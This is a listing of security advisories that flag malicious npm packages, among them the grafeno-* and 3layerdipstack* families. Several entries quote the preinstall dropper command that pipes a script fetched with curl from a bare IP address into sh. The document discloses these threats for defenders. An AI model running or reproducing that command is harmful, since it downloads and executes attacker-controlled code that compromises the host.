MAL-2026-15503 Malicious code in grafeno-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6 package.json declares a preinstall script that runs curl against a bare IP over plain HTTP http://216.126.236.46/x.sh and pipes the response to sh,...

Malicious code in grafeno-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a package.json declares a preinstall hook that shells out via node -e / childprocess to curl http://216.126.236.46/x.sh over plain HTTP and pipes the...

MAL-2026-15502 Malicious code in grafeno-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a package.json declares a preinstall hook that shells out via node -e / childprocess to curl http://216.126.236.46/x.sh over plain HTTP and pipes the...

Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

MAL-2026-15506 Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

Malicious code in spc-grafeno (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1 The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code...

MAL-2026-15522 Malicious code in spc-grafeno (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1 The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code...

Malicious code in grafeno-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...

Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

MAL-2026-15507 Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

MAL-2026-15489 Malicious code in borsh-lite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eed0e447cd98b9470a197c1dd9b341e6a93ea6f39088f4f93335979827f707b8 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14809 Malicious code in 3layerdipstackkzelo0 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4fe6fd3906f3e7fba969331ad81704c13688f502badb2bffcfd851ea79d99999 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14845 Malicious code in 3layerdipstacknlxzr (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware dbaaf251a15ce72a43a3df8c552d709dee503a228e8d3bba039bd222d9c9dc51 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-14951 Malicious code in 3layerdipstackuo78n (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 988f7d143bbd374cd7bae5e26e1f50bc6854f99c83121dc6df6a8ff578d8d4c6 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-14593 Malicious code in 3layerdipstack0dsxsc (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2643a6598b1615516404fd1c24e6bf45adf0b325f211259b80191f7858c72ea6 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackr4geh2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6891c5a747b9dc19de051f0ec96ce08f8a791df5f166a338aae679f6da97a329 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackgyrw9d (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b163b3dd88a238d45131d3007c0dc561de68c7cfcc646c5486b81face0b4fe57 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstacku03hgo (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 196d8e1d66c49951ed1e2b5999f8b06642aa1a6fe68583a99c97aae8b2bc86ad The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in desmos-graphing-vgq4y2qo (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 5d3ac6834242da48854640f36878a2f5b7ad58b5553121bf94cd99fec18eaa60 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in classlink-gvxxr7vn (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 5de13feca259c056b95a24ee4dc73ca154645e1bad2e0a4e1a20d47decda824d Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...